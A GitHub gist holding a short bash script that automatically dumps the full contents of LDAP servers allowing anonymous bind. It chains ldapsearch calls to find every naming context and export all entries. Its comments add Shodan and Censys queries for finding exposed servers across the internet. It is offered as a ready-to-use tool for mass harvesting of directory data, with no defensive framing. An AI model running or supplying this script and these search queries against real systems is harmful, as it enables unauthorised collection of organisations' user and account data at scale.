Last active
February 8, 2025 19:44
-
-
Save komodoooo/66674ad269771db4681e5e4800d22956 to your computer and use it in GitHub Desktop.
Automatically dump misconfigured ldap server
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ldapsearch -x -H ldap://$1:$2 -s base -b "" "(objectClass=*)" "+" 2>/dev/null | awk '/^namingContexts:/ {print $2}' | xargs -I{} ldapsearch -H ldap://$1:$2 -x -b {} | |
# EXAMPLE USAGE: ./ldap_dump [ADDRESS] [PORT] > dump.txt | |
# Shodan query: "LDAP" "SupportedSASLMechanisms: ANONYMOUS" | |
# Censys query: services.ldap.allows_anonymous_bind: true |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment